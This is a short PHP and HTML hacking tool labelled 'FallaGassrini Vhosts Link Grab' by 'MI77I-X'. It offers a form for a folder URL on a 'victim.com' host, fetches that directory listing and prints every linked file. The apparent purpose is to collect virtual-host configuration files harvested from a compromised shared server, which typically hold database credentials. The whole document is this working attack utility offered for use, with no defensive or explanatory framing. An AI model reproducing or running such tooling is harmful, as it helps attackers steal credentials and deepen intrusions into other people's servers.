FallaGassrini Vhosts Link Grab

<html>
<head><title>VHost Config Link Grabber | MI77I-X</title></head>
<body>
<form method="post" action="">
<span> Link Config:
<input type="text" name="configurl" style="width:45%" placeholder="https://victim.com/somefolder/FallaGassrini/">
<input type="submit" value="submit">
</span>
</form>
</body>
</html>
<?php
if(isset($_POST['configurl'])){
$url = $_POST['configurl'];
$html = file_get_contents($url);
$dom = new DOMDocument;
echo("Target: ".$url);
@$dom->loadHTML($html);
$links = $dom->getElementsByTagName('a');
echo "<br/> Result: <pre>";
foreach ($links as $link){
    //echo $link->nodeValue;
    echo $url.$link->getAttribute('href'), '<br>';
}
}